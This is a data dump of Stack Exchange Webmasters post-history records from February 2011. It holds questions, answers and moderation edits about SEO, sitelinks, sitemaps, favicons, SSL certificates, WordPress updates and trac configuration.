  <row Id="19908" PostHistoryTypeId="2" PostId="9092" RevisionGUID="df0295d2-8cdf-4de6-b0c9-8a7fb26c6e34" CreationDate="2011-02-13T00:02:10.113" UserId="1064" Text="The Google Webmaster Tools documentation for [Sitelinks][1] explains how this feature works - note that it'll take a lot of work to establish your site as the top-ranked result *and* it'll take a relatively high search volume (i.e. people searching on &quot;maimon cohen lawyer&quot;) for this feature to come into play.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=47334" />
  <row Id="19909" PostHistoryTypeId="2" PostId="9093" RevisionGUID="54ad64cb-458f-4ee8-942e-c5f45f1702d5" CreationDate="2011-02-13T00:05:08.517" UserId="1064" Text="[mod_proxy][1] is probably the most appropriate choice for this task.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/mod_proxy.html" />
  <row Id="19910" PostHistoryTypeId="2" PostId="9094" RevisionGUID="667d24c7-9545-41c1-b76c-7d0acbc77630" CreationDate="2011-02-13T00:38:20.560" UserId="4461" Text="Dynamic content is everywhere on the net - you only have to look at online news sites.&#xD;&#xA;&#xD;&#xA;What you are describing is a display of archives (paginated).&#xD;&#xA;&#xD;&#xA;The way for this to work best for SEO purposes is to ensure that each &quot;item&quot; that you are referring to lives on it's own URL, and then that item is referenced (linked to via the headline and showing the content), either in whole, or as an excerpt, in the archives.&#xD;&#xA;&#xD;&#xA;That way, search engines and visitors alike can always access that particular piece of content at anytime (linked, bookmarked, etc), but you can still display your content in a fresh-to-old fashion.&#xD;&#xA;&#xD;&#xA;Your next consideration is whether you want the paginated pages themselves to be indexed after page 1 (I would suggest not), so you'd control any page beyond page 1 with a meta robots element with &quot;noindex,follow&quot; instruction. Be sure not to do this to your main page. This will tell the bots not to include page 59 etc to be included in their index, but to follow the links on that page to the individual posts/items/entries/articles what-have-you.&#xD;&#xA;&#xD;&#xA;Ensure each item is either tagged or categorized, and include links to those tagged/categories, as well as date archives and other interlinking methods (top 10 read etc).&#xD;&#xA;&#xD;&#xA;Hope that helps." />
  <row Id="19911" PostHistoryTypeId="2" PostId="9095" RevisionGUID="0fa1a838-3831-4829-825a-dfb454f9186f" CreationDate="2011-02-13T01:36:11.227" UserId="1757" Text="EV SSL is a bit of a scam. It's basically a band-aid solution to a more fundamental problem&amp;mdash;a breakdown in the chain of trust due to the lack of regulation in the issuing of SSL certificates. EV SSL certificates are basically there to do what regular SSL certificates were doing 10 years ago: to verify that a website is who it claims to be. That's why a chain of trust was created from the root CAs to make sure any site possessing an SSL certificate signed by a CA was on the level.&#xD;&#xA;&#xD;&#xA;The reason you pay a CA an annual fee instead of creating a free self-signed certificate is because you need someone in the chain of trust to vouch for your identity. If the root CA is trusted, and they vouch for another CA, who in turn vouches for another CA, who vouches for another CA, who then vouches for somebank.com, then the chain of trust ensures that everyone is who they are, and the end user knows that somebank.com is really owned by Some Bank.&#xD;&#xA;&#xD;&#xA;But for this to work, CAs need to do their homework and exercise some discretion in who they vouch for. If they certify another CA, they need to make sure that CA is trustworthy. If they certify a website, then they need to make sure it's not a phishing site posing as another company. That's the *only* reason to pay a CA for a signed certificate&amp;mdash;because they're supposed to verify each site is owned by who they claim to be before issuing a certificate. And they're meant to verify this each year.&#xD;&#xA;&#xD;&#xA;The creation of EV SSL is basically admitting that the original chain of trust is broken, that now there are CAs in the chain of trust that are neglecting their duty. So now we're going to create a new name for trustworthy certificates and make that the new standard. This basically makes all regular signed certificates worthless since end users can't trust that an SSL certificate signed by a trusted CA is actually any better than a self-signed certificate or one signed by an unknown company.&#xD;&#xA;&#xD;&#xA;The real solution is to fix the chain of trust and force CAs to actually vet their certificate recipients and do their job. If a CA isn't doing its job, then it needs to be removed from the chain of trust. And this accountability should be required all the way up the chain to root CAs. Otherwise, we'll just end up with another level of certificates 10 years from now when commercial competition drives the price/quality of EV certificates down too." />
  <row Id="19923" PostHistoryTypeId="2" PostId="9098" RevisionGUID="1e070c71-a56e-4384-ab03-a9ba57ba77d1" CreationDate="2011-02-13T02:55:06.197" UserId="1253" Text="[Google Adwords Keyword Tool][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none" />
  <row Id="19924" PostHistoryTypeId="5" PostId="9088" RevisionGUID="9758b799-d2b5-45e3-af1d-0013c14f1881" CreationDate="2011-02-13T02:55:55.073" UserId="1253" Comment="Removed &quot;wordpress&quot; tag" Text="does anyone know an equally impressive service that shows the amount of times a specific keyword(phrase) has been searched, as well as a branch of other similar words?&#xD;&#xA;&#xD;&#xA;The one discussed in this video (Wordtracker.com) seems very good, but has gone commercial unfortunately which is not what Im looking for. I really would prefer free tool... &#xD;&#xA;&#xD;&#xA;http://www.youtube.com/watch?v=H2M1tXtAc18&amp;feature=related&#xD;&#xA;&#xD;&#xA;Any suggestions for similar free online tools are very welcome.&#xD;&#xA;Thanks" />
  <row Id="19925" PostHistoryTypeId="6" PostId="9088" RevisionGUID="9758b799-d2b5-45e3-af1d-0013c14f1881" CreationDate="2011-02-13T02:55:55.073" UserId="1253" Comment="Removed &quot;wordpress&quot; tag" Text="&lt;seo&gt;&lt;keywords&gt;&lt;search&gt;&lt;statistics&gt;" />
  <row Id="19926" PostHistoryTypeId="5" PostId="9090" RevisionGUID="612a162c-3610-4687-9741-0bf7e5d59584" CreationDate="2011-02-13T02:57:59.190" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the most important things I need to do to encourage Google Sitelinks?](http://webmasters.stackexchange.com/questions/503/what-are-the-most-important-things-i-need-to-do-to-encourage-google-sitelinks)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;my site is first in google if you type '_עו&quot;ד מימון כהן_' or '_maimon cohen lawyer_'.&#xD;&#xA;I want to display menu index of the site in google, like this :&#xD;&#xA;![ubuntu in google][1]&#xD;&#xA;&#xD;&#xA;how to do it ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/epRYQ.png" />
  <row Id="19927" PostHistoryTypeId="10" PostId="9090" RevisionGUID="d8db3a4d-c4a3-4b03-8f2f-789210191b2c" CreationDate="2011-02-13T02:57:59.017" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19928" PostHistoryTypeId="2" PostId="9099" RevisionGUID="689387a7-6ab5-4d89-8da6-195ddf86eb31" CreationDate="2011-02-13T03:10:29.423" UserId="3896" Text="I was wondering if (assuming all your content is related) it would be better to put all your content under a single domain or multiple domains that link to each other. Lets say I have Site A which doesn't have a good search ranking. If I have a new product that I'm sure could get a good ranking on its own would I get a better search ranking for Site A if I - &#xD;&#xA;&#xD;&#xA; 1. Add the new product as a new section to Site A.&#xD;&#xA; 2. Or put the product on new Site B and link back to Site A.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To give you an example if you were developing a few browser plugins would it be better (in terms of ranking) to showcase them all in the same site, or would you give them each their own domain's that link to each other? &#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="19929" PostHistoryTypeId="1" PostId="9099" RevisionGUID="689387a7-6ab5-4d89-8da6-195ddf86eb31" CreationDate="2011-02-13T03:10:29.423" UserId="3896" Text="Does spreading content across domains improve ranking?" />
  <row Id="19930" PostHistoryTypeId="3" PostId="9099" RevisionGUID="689387a7-6ab5-4d89-8da6-195ddf86eb31" CreationDate="2011-02-13T03:10:29.423" UserId="3896" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;links&gt;" />
  <row Id="19931" PostHistoryTypeId="5" PostId="9099" RevisionGUID="11a2855d-7958-44db-b60e-45e67ec31930" CreationDate="2011-02-13T03:33:32.903" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [The SEO Benefit of Breaking Up Content Onto Different Websites](http://webmasters.stackexchange.com/questions/7926/the-seo-benefit-of-breaking-up-content-onto-different-websites)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I was wondering if (assuming all your content is related) it would be better to put all your content under a single domain or multiple domains that link to each other. Lets say I have Site A which doesn't have a good search ranking. If I have a new product that I'm sure could get a good ranking on its own would I get a better search ranking for Site A if I - &#xD;&#xA;&#xD;&#xA; 1. Add the new product as a new section to Site A.&#xD;&#xA; 2. Or put the product on new Site B and link back to Site A.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To give you an example if you were developing a few browser plugins would it be better (in terms of ranking) to showcase them all in the same site, or would you give them each their own domain's that link to each other? &#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="19932" PostHistoryTypeId="10" PostId="9099" RevisionGUID="eaeba8f4-dfd7-4f10-b601-8a015919b391" CreationDate="2011-02-13T03:33:32.840" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19933" PostHistoryTypeId="12" PostId="9098" RevisionGUID="276b792a-cd4e-4313-893d-f13ca2c77c1f" CreationDate="2011-02-13T03:34:37.300" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19934" PostHistoryTypeId="13" PostId="9098" RevisionGUID="7572781c-bf49-4518-a9cc-9adaa117a93f" CreationDate="2011-02-13T03:35:02.153" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19935" PostHistoryTypeId="5" PostId="9098" RevisionGUID="6906097a-b896-4631-b5b5-8dd50be4a751" CreationDate="2011-02-13T03:36:55.773" UserId="1253" Comment="added 92 characters in body" Text="[Google Adwords Keyword Tool][1] and [Google Trends][2] will probably do what you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none&#xD;&#xA;  [2]: http://www.google.com/trends" />
  <row Id="19936" PostHistoryTypeId="2" PostId="9100" RevisionGUID="94b532c0-5167-44d3-a38b-e9eefef9abfc" CreationDate="2011-02-13T05:06:50.003" UserId="5368" Text="I have a 16x16 PNG that I want to use for my favicon. It works fine in modern browsers, but I need a favicon.ico file for older ones. The problem is that either the ICO format doesn't support semi-transaprency, which my favicon uses, or the converters I've found online don't support it.&#xD;&#xA;&#xD;&#xA;Which is it? If the format supports it, how can I convert a PNG to an ICO with semi-transparency?" />
  <row Id="19937" PostHistoryTypeId="1" PostId="9100" RevisionGUID="94b532c0-5167-44d3-a38b-e9eefef9abfc" CreationDate="2011-02-13T05:06:50.003" UserId="5368" Text="How can I make a good favicon?" />
  <row Id="19938" PostHistoryTypeId="3" PostId="9100" RevisionGUID="94b532c0-5167-44d3-a38b-e9eefef9abfc" CreationDate="2011-02-13T05:06:50.003" UserId="5368" Text="&lt;favicon&gt;" />
  <row Id="19939" PostHistoryTypeId="25" PostId="9100" RevisionGUID="e1c9f071-dbd9-416f-900d-f366ba2829f2" CreationDate="2011-02-13T05:22:19.587" Comment="http://twitter.com/#!/StackWebmasters/status/36656391909285888" />
  <row Id="19940" PostHistoryTypeId="2" PostId="9101" RevisionGUID="d65e6c93-5978-4f82-9c0a-25ad1c8c4cf1" CreationDate="2011-02-13T07:08:38.060" UserId="89" Text="I need to create a &quot;works on all major browsers&quot; graphics for a web application, where can I find free or cheap images of browser icons from all the major browsers (IE, Firefox, Chrome, Safari)?&#xD;&#xA;&#xD;&#xA;Alternatively, is there a (again, free or cheap) ready made &quot;works on all browsers&quot; image I can use?&#xD;&#xA;&#xD;&#xA;The images must be free or cheap for commercial use and preferably don't require attribution.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19941" PostHistoryTypeId="1" PostId="9101" RevisionGUID="d65e6c93-5978-4f82-9c0a-25ad1c8c4cf1" CreationDate="2011-02-13T07:08:38.060" UserId="89" Text="Where can I find icons for all browsers" />
  <row Id="19942" PostHistoryTypeId="3" PostId="9101" RevisionGUID="d65e6c93-5978-4f82-9c0a-25ad1c8c4cf1" CreationDate="2011-02-13T07:08:38.060" UserId="89" Text="&lt;cross-browser&gt;&lt;icon&gt;" />
  <row Id="19943" PostHistoryTypeId="2" PostId="9102" RevisionGUID="40c547db-f507-4d30-b0bb-7fa542fc6663" CreationDate="2011-02-13T07:27:20.437" UserId="4803" Text="&lt;a href=&quot;http://mintywhite.com/more/software-more/create-a-transparent-favicon-for-your-website/&quot;&gt;Here's&lt;/a&gt; a website I found using photoshop and a website to do it.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.revolutionwebdesign.com/blog/index.cfm?mode=entry&amp;entry=8B1F9EB1-D1B9-61C4-09F428DC29AF6230&quot;&gt;Here's&lt;/a&gt; another website I found that deals with the Windows ICO plugin for Photoshop - located &lt;a href=&quot;http://www.softpedia.com/get/Multimedia/Graphic/Graphic-Plugins/ICO-file-format.shtml&quot;&gt;here&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;Warning: I have NOT tested that file download for exclusion of viruses - download at your own risk." />
  <row Id="19944" PostHistoryTypeId="2" PostId="9103" RevisionGUID="95d12a0c-4986-4091-b6f5-11613fc0af08" CreationDate="2011-02-13T07:48:37.367" UserId="1662" Text="I use [iconspedia][1] to find the icons that I need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iconspedia.com/" />
  <row Id="19945" PostHistoryTypeId="2" PostId="9104" RevisionGUID="b344d030-bfc9-4085-bd78-2428b68eb46d" CreationDate="2011-02-13T07:57:06.737" UserId="4461" Text="If Christopher's links don't help, simply try changing the file extension from .PNG to .ICO - that's worked for me in the past." />
  <row Id="19946" PostHistoryTypeId="25" PostId="9101" RevisionGUID="c5401e5f-fc24-4108-a0e6-9c38a4bc2787" CreationDate="2011-02-13T08:22:19.823" Comment="http://twitter.com/#!/StackWebmasters/status/36701691222949888" />
  <row Id="19947" PostHistoryTypeId="17" PostId="9106" RevisionGUID="817cf356-4154-4d29-a363-5587c8d3c1a7" CreationDate="2011-02-13T10:01:31.250" UserId="-1" Comment="from http://stackoverflow.com/questions/4968750/updated-to-wordpress-3-0-5-and-all-my-work-is-gone/4968788#4968788" Text="" />
  <row Id="19948" PostHistoryTypeId="17" PostId="9107" RevisionGUID="65413b5d-0cf7-4a81-9a8c-cdeb3faabdb7" CreationDate="2011-02-13T10:01:31.250" UserId="-1" Comment="from http://stackoverflow.com/questions/4968750/updated-to-wordpress-3-0-5-and-all-my-work-is-gone/4970101#4970101" Text="" />
  <row Id="19949" PostHistoryTypeId="2" PostId="9106" RevisionGUID="43712399-1999-487c-a0c2-1c8dc5ca19ef" CreationDate="2011-02-11T12:06:32.680" UserDisplayName="Designer023" Text="Have you tried looking to see if your posts etc are in the database? It may be that word press just can't connect to  the right tables? It may have renamed some tables? so have a look through the database using something like phpMyAdmin.&#xD;&#xA;&#xD;&#xA;Do you have a backup that you can restore? I think that it is advised that you always backup before an update. Sorry it that is a kick in the teeth if you haven't backed up, but if it has over written everything there isn't much that you can do.&#xD;&#xA;&#xD;&#xA;I doubt that the theme had anything to do with losing the data. The themes just shows the data in various ways." />
  <row Id="19950" PostHistoryTypeId="2" PostId="9107" RevisionGUID="54ae5a73-1666-4e7e-9edf-7b4a8bea6a0f" CreationDate="2011-02-11T14:25:26.103" UserId="2496" Text="If you modify Twenty Ten, you must change the name and the details of the theme in style.css and also change the name of the theme folder itself to something other than &quot;twentyten&quot; or automatic updates will overwrite the folder. Have backup?" />
  <row Id="19951" PostHistoryTypeId="2" PostId="9105" RevisionGUID="f068ccfb-fdd5-47f0-8288-5de632abc883" CreationDate="2011-02-11T12:01:13.970" UserDisplayName="Andreas" Text="I updated my website from Wordpress 3.0.4 to 3.0.5 and all my work is gone! Can go back somehow? How can it overwrite everything? &#xD;&#xA;&#xD;&#xA;The theme I used for the site is a copy of Twenty Ten and then I modified it.&#xD;&#xA;&#xD;&#xA;Please help me...." />
  <row Id="19952" PostHistoryTypeId="1" PostId="9105" RevisionGUID="f068ccfb-fdd5-47f0-8288-5de632abc883" CreationDate="2011-02-11T12:01:13.970" UserDisplayName="Andreas" Text="Updated to Wordpress 3.0.5 and all my work is gone?" />
  <row Id="19953" PostHistoryTypeId="3" PostId="9105" RevisionGUID="f068ccfb-fdd5-47f0-8288-5de632abc883" CreationDate="2011-02-11T12:01:13.970" UserDisplayName="Andreas" Text="&lt;wordpress&gt;&lt;backups&gt;" />
  <row Id="19954" PostHistoryTypeId="17" PostId="9105" RevisionGUID="9b47c430-4be3-48fc-8be7-56524e37cc64" CreationDate="2011-02-13T10:01:31.250" UserId="-1" Comment="from http://stackoverflow.com/questions/4968750/updated-to-wordpress-3-0-5-and-all-my-work-is-gone" Text="" />
  <row Id="19955" PostHistoryTypeId="2" PostId="9108" RevisionGUID="287c29a5-8127-4fbd-b278-243728ae2008" CreationDate="2011-02-13T11:02:40.510" UserId="-1" Text="" />
  <row Id="19956" PostHistoryTypeId="2" PostId="9109" RevisionGUID="e71f8246-57ac-45ed-8a18-4329e08814fa" CreationDate="2011-02-13T11:02:40.510" UserId="-1" Text="" />
  <row Id="19957" PostHistoryTypeId="25" PostId="9099" RevisionGUID="c7dc6ef2-79b3-4d26-b557-b820cbcd31a4" CreationDate="2011-02-13T11:22:19.987" Comment="http://twitter.com/#!/StackWebmasters/status/36746990498873344" />
  <row Id="19958" PostHistoryTypeId="2" PostId="9110" RevisionGUID="ca5565c7-96e6-4737-be48-eb00758e62ad" CreationDate="2011-02-13T12:29:02.957" UserId="5370" Text="We are developing a site in Django and are looking to have a feed aggregator as one of the pages. We would prefer to integrate the aggregated content inside the main site with matching style." />
  <row Id="19959" PostHistoryTypeId="1" PostId="9110" RevisionGUID="ca5565c7-96e6-4737-be48-eb00758e62ad" CreationDate="2011-02-13T12:29:02.957" UserId="5370" Text="Planet feed aggregator for django" />
  <row Id="19960" PostHistoryTypeId="3" PostId="9110" RevisionGUID="ca5565c7-96e6-4737-be48-eb00758e62ad" CreationDate="2011-02-13T12:29:02.957" UserId="5370" Text="&lt;feeds&gt;&lt;django&gt;&lt;integration&gt;" />
  <row Id="19961" PostHistoryTypeId="2" PostId="9111" RevisionGUID="f3c93251-38ad-4ccd-91fb-80328e57f5f5" CreationDate="2011-02-13T12:55:11.540" UserDisplayName="user615041" Text="Do I have to have a sitemap page on my index page for bots to read it or can I just have it anywhere on my server? I have a phpbb/wordpress integration and I need 2 sitemaps mods for each one (or I need to have them somehow integrated together into one xml sitemap).  Is this possible? Whats my best option?&#xD;&#xA;&#xD;&#xA;   I would have the phpbb one something like this:&#xD;&#xA;   http://www.example.com/phpbb/sitemap.html&#xD;&#xA;&#xD;&#xA;   and the wordpress one something like this:&#xD;&#xA;   http://www.example.com/wordpress/sitemap.html&#xD;&#xA;&#xD;&#xA;and then I would submit both off..but not have the links on my footer to confuse anyone.., the sitemaps would strictly be for search engines. Is this a good idea? what are you thoughts?" />
  <row Id="19962" PostHistoryTypeId="1" PostId="9111" RevisionGUID="f3c93251-38ad-4ccd-91fb-80328e57f5f5" CreationDate="2011-02-13T12:55:11.540" UserDisplayName="user615041" Text="is it ok to have 2 sitemaps on 1 website?" />
  <row Id="19963" PostHistoryTypeId="3" PostId="9111" RevisionGUID="f3c93251-38ad-4ccd-91fb-80328e57f5f5" CreationDate="2011-02-13T12:55:11.540" UserDisplayName="user615041" Text="&lt;untagged&gt;" />
  <row Id="19964" PostHistoryTypeId="17" PostId="9111" RevisionGUID="35eb8c0e-5f23-4d72-91e9-4d572ff46fc4" CreationDate="2011-02-13T13:08:18.143" UserId="-1" Comment="from http://stackoverflow.com/questions/4984240/is-it-ok-to-have-2-sitemaps-on-1-website" Text="" />
  <row Id="19965" PostHistoryTypeId="5" PostId="9108" RevisionGUID="3d5a0f82-854c-4f08-a562-c2640327425c" CreationDate="2011-02-13T13:15:10.000" UserId="4461" Comment="added 854 characters in body" Text="Performance, when regarding websites, is normally divided into two main areas of optimization: **back-end performance** and **front-end performance**.&#xD;&#xA;&#xD;&#xA;Back-end performance relates to techniques that improve the speed and/or overhead at server level, whether it be database queries (reducing the number of), or read/write requests.&#xD;&#xA;&#xD;&#xA;Front-end performance relates to the techniques that are designed to deliver the content in the fastest way, using appropriate caching methods, leveraging concatenation of CSS and JavaScript to remove multiple HTTP requests and the like.&#xD;&#xA;&#xD;&#xA;The majority of performance-related recommendations are outlined by Yahoo and Google on their respective performance best practice pages:&#xD;&#xA;&#xD;&#xA; - Yahoo - http://developer.yahoo.com/performance/rules.html&#xD;&#xA; - Google - http://code.google.com/speed/page-speed/docs/rules_intro.html" />
  <row Id="19966" PostHistoryTypeId="24" PostId="9108" RevisionGUID="506c8981-4745-491e-af4a-c6d936dfa21e" CreationDate="2011-02-13T13:15:10.000" Comment="Proposed by 4461 approved by 108 edit id of 13" />
  <row Id="19967" PostHistoryTypeId="17" PostId="9113" RevisionGUID="ed609175-243c-4156-9601-f44c406172c7" CreationDate="2011-02-13T13:58:48.187" UserId="-1" Comment="from http://superuser.com/questions/84338/where-is-trac-ini/84342#84342" Text="" />
  <row Id="19968" PostHistoryTypeId="2" PostId="9113" RevisionGUID="363d1f5b-30a7-45c4-92b8-5d2ea2d1bd8a" CreationDate="2009-12-17T00:23:26.733" UserDisplayName="John T" Text="It's usually inside the `conf` folder, underneath your trac project's install directory. Something like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;trac_sites/conf/trac.ini&lt;/pre&gt;" />
  <row Id="19969" PostHistoryTypeId="2" PostId="9112" RevisionGUID="560d0878-a232-4bad-8f96-24b69566bfc4" CreationDate="2009-12-17T00:12:40.300" UserId="1390" Text="I have setup trac with dreamhost one-click install, I read doc it says config is in trac.ini but can't see any under trac dir so where is it ?&#xD;&#xA;&#xD;&#xA;I have no conf dir ONLY admin, db, htdocs, prefs, etc...&#xD;&#xA;&#xD;&#xA;Is this the right forum or should I ask on server maybe ?" />
  <row Id="19970" PostHistoryTypeId="1" PostId="9112" RevisionGUID="560d0878-a232-4bad-8f96-24b69566bfc4" CreationDate="2009-12-17T00:12:40.300" UserId="1390" Text="where is trac.ini ?" />
  <row Id="19971" PostHistoryTypeId="3" PostId="9112" RevisionGUID="560d0878-a232-4bad-8f96-24b69566bfc4" CreationDate="2009-12-17T00:12:40.300" UserId="1390" Text="&lt;web-hosting&gt;" />
  <row Id="19972" PostHistoryTypeId="17" PostId="9112" RevisionGUID="43387ae4-a42e-40ae-b28a-2baa191043ed" CreationDate="2011-02-13T13:58:48.187" UserId="-1" Comment="from http://superuser.com/questions/84338/where-is-trac-ini" Text="" />
  <row Id="19973" PostHistoryTypeId="25" PostId="9111" RevisionGUID="5d0ec6d6-9b1d-4c88-aa20-e1df2e2dcf8a" CreationDate="2011-02-13T14:22:19.733" Comment="http://twitter.com/#!/StackWebmasters/status/36792287946088448" />
  <row Id="19975" PostHistoryTypeId="2" PostId="9115" RevisionGUID="ecd203ed-69bc-44f2-bfe8-4cd39aacc778" CreationDate="2011-02-13T15:40:29.953" UserId="233" Text="I think you are confusing two different types of sitemaps. You mention XML sitemaps but give HTML pages as examples.&#xD;&#xA;&#xD;&#xA;An **HTML sitemap** is just a regular web page, like your home page or about page. Search engines do nothing special with them, they just follow all the links as normal.&#xD;&#xA;&#xD;&#xA;An **XML sitemap** is a special file created for search robots to read. The [format is explained here][1]. Normal users would not look at this file, but you can submit XML sitemaps to Google Webmaster Tools (and Yahoo and Bing equivalents).&#xD;&#xA;&#xD;&#xA;You can submit **as many XML sitemaps as you like**, plus RSS/Atom feeds too. In your case you only have two sitemaps so just go ahead and submit both.&#xD;&#xA;&#xD;&#xA;However, if you have many sitemap files, it is usually beneficial to create a **sitemap index file**, which lists all the other sitemaps. See the relevant section on the linked page. Now you only need to submit one file to GWT, and Googlebot will pick up all the other sitemaps. This is also pretty useful if you have a huge site and generate the sitemap files automatically.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php" />
  <row Id="19976" PostHistoryTypeId="2" PostId="9116" RevisionGUID="09506068-7a26-4837-acc6-2dbbf55ab0d3" CreationDate="2011-02-13T15:44:18.047" UserId="5148" Text="(Bit late but here goes)&#xD;&#xA;&#xD;&#xA;Yahoo (or BING now) supports XML sitemaps protocol, but not the Google image sitemaps extension&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19977" PostHistoryTypeId="2" PostId="9117" RevisionGUID="e7fbfcd1-f51c-415a-be10-ac6c09cfc40f" CreationDate="2011-02-13T15:46:03.367" UserId="1253" Text="[There are lots of free browser icons available for use.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=free+browser+icons" />
  <row Id="19978" PostHistoryTypeId="17" PostId="9119" RevisionGUID="aaace7ac-2b6f-4bcb-80be-7922b6214eaf" CreationDate="2011-02-13T15:54:20.347" UserId="-1" Comment="from http://stackoverflow.com/questions/4979665/should-page-contents-same-all-time-for-seo/4979695#4979695" Text="" />
  <row Id="19979" PostHistoryTypeId="17" PostId="9120" RevisionGUID="b0fd63c5-2523-4721-923b-19bdffa97ed3" CreationDate="2011-02-13T15:54:20.347" UserId="-1" Comment="from http://stackoverflow.com/questions/4979665/should-page-contents-same-all-time-for-seo/4979704#4979704" Text="" />
  <row Id="19980" PostHistoryTypeId="2" PostId="9119" RevisionGUID="c43889ce-6f0c-4321-a7ab-1787ae93c98e" CreationDate="2011-02-12T18:08:19.707" UserDisplayName="Wige" Text="If what you are referring to is a list of links such as the index of a forum, or a list of articles on the index of a blog or article repository, this shouldn't be a problem since the bulk of the content, and the page that the search engine is most likely to redirect users to is going to be the actual article or post.&#xD;&#xA;&#xD;&#xA;Look at the New Questions page here. This list changes every 10-20 minutes. However, search engines still have no problem taking users to a question that matches their search parameters because the link still exists somewhere, and the question's own page has a constant URL." />
  <row Id="19981" PostHistoryTypeId="2" PostId="9120" RevisionGUID="25470f78-6bd2-42c5-ba7f-7ab683888d44" CreationDate="2011-02-12T18:09:20.070" UserDisplayName="Mark" Text="If the contents are constantly changing and changing dramatically, it might cause some problems even if Google gives you a high ranking.&#xD;&#xA;&#xD;&#xA;Lets say Google visits and your page has a lot of content about birds.  So Google decides your page is about birds.  When people search for &quot;birds&quot; they get your page as the top result.  Then your page changes and it is now about snakes.  Now people come to your page looking for information about birds, but they find information about snakes--in other words they didn't find what they were looking for.&#xD;&#xA;&#xD;&#xA;Now if the topic remains the same and it is just a matter of showing different front page content, this might not be a problem.  Particularly if your front page is just a list of links to other content on your site where the url always shows the same content.&#xD;&#xA;&#xD;&#xA;However, if you have actual content pages, it is probably better for them to constant. You don't want www.example.com/snakes.html to start showing all your bird content.  &#xD;&#xA;&#xD;&#xA;If your site is only a compilation of partial content with links to other sites, you may have an SEO problem when it comes to duplicate content that doesn't have anything to do with how often the content changes." />
  <row Id="19982" PostHistoryTypeId="2" PostId="9118" RevisionGUID="22e84bb8-6c5f-45fc-842e-d16676b940e4" CreationDate="2011-02-12T18:03:11.637" UserId="3959" Text="I have a frequently updated website. That's why page contents change frequently. I mean the items that are on 1'st page become on 2'nd page a day after. Similarly 192'nd page which is my last page becomes 193'rd page a day after. So Google finds different content on a specific page than its previous visit. Is it bad for SEO?&#xD;&#xA;&#xD;&#xA;My main page is http://www.yemeklog.com/home/ and as you see below page pagination pages are like http://www.yemeklog.com/home/10 or http://www.yemeklog.com/home/192 . Website content is about food receipes at all pages.&#xD;&#xA;&#xD;&#xA;What you think about it?" />
  <row Id="19983" PostHistoryTypeId="1" PostId="9118" RevisionGUID="22e84bb8-6c5f-45fc-842e-d16676b940e4" CreationDate="2011-02-12T18:03:11.637" UserId="3959" Text="Should page contents same all time for SEO?" />
  <row Id="19984" PostHistoryTypeId="3" PostId="9118" RevisionGUID="22e84bb8-6c5f-45fc-842e-d16676b940e4" CreationDate="2011-02-12T18:03:11.637" UserId="3959" Text="&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="19985" PostHistoryTypeId="17" PostId="9118" RevisionGUID="9f3c3e24-ba2c-47c5-a17a-c1f9c737f1e5" CreationDate="2011-02-13T15:54:20.347" UserId="-1" Comment="from http://stackoverflow.com/questions/4979665/should-page-contents-same-all-time-for-seo" Text="" />
  <row Id="19986" PostHistoryTypeId="5" PostId="9079" RevisionGUID="4f578b8e-a03b-4939-a8e3-05e83b2d955e" CreationDate="2011-02-13T15:57:29.457" UserId="1253" Comment="Removed &quot;untagged&quot; tag added" Text="If I want users to pay $0.10 every time they access a piece of content on my site, is there a broadly accepted solution for this?" />
  <row Id="19987" PostHistoryTypeId="6" PostId="9079" RevisionGUID="4f578b8e-a03b-4939-a8e3-05e83b2d955e" CreationDate="2011-02-13T15:57:29.457" UserId="1253" Comment="Removed &quot;untagged&quot; tag added" Text="&lt;ecommerce&gt;&lt;micropayments&gt;" />
  <row Id="19988" PostHistoryTypeId="25" PostId="9118" RevisionGUID="03f59f6f-28ce-4c47-9ba5-cc7746f74400" CreationDate="2011-02-13T17:22:20.073" Comment="http://twitter.com/#!/StackWebmasters/status/36837587507220480" />
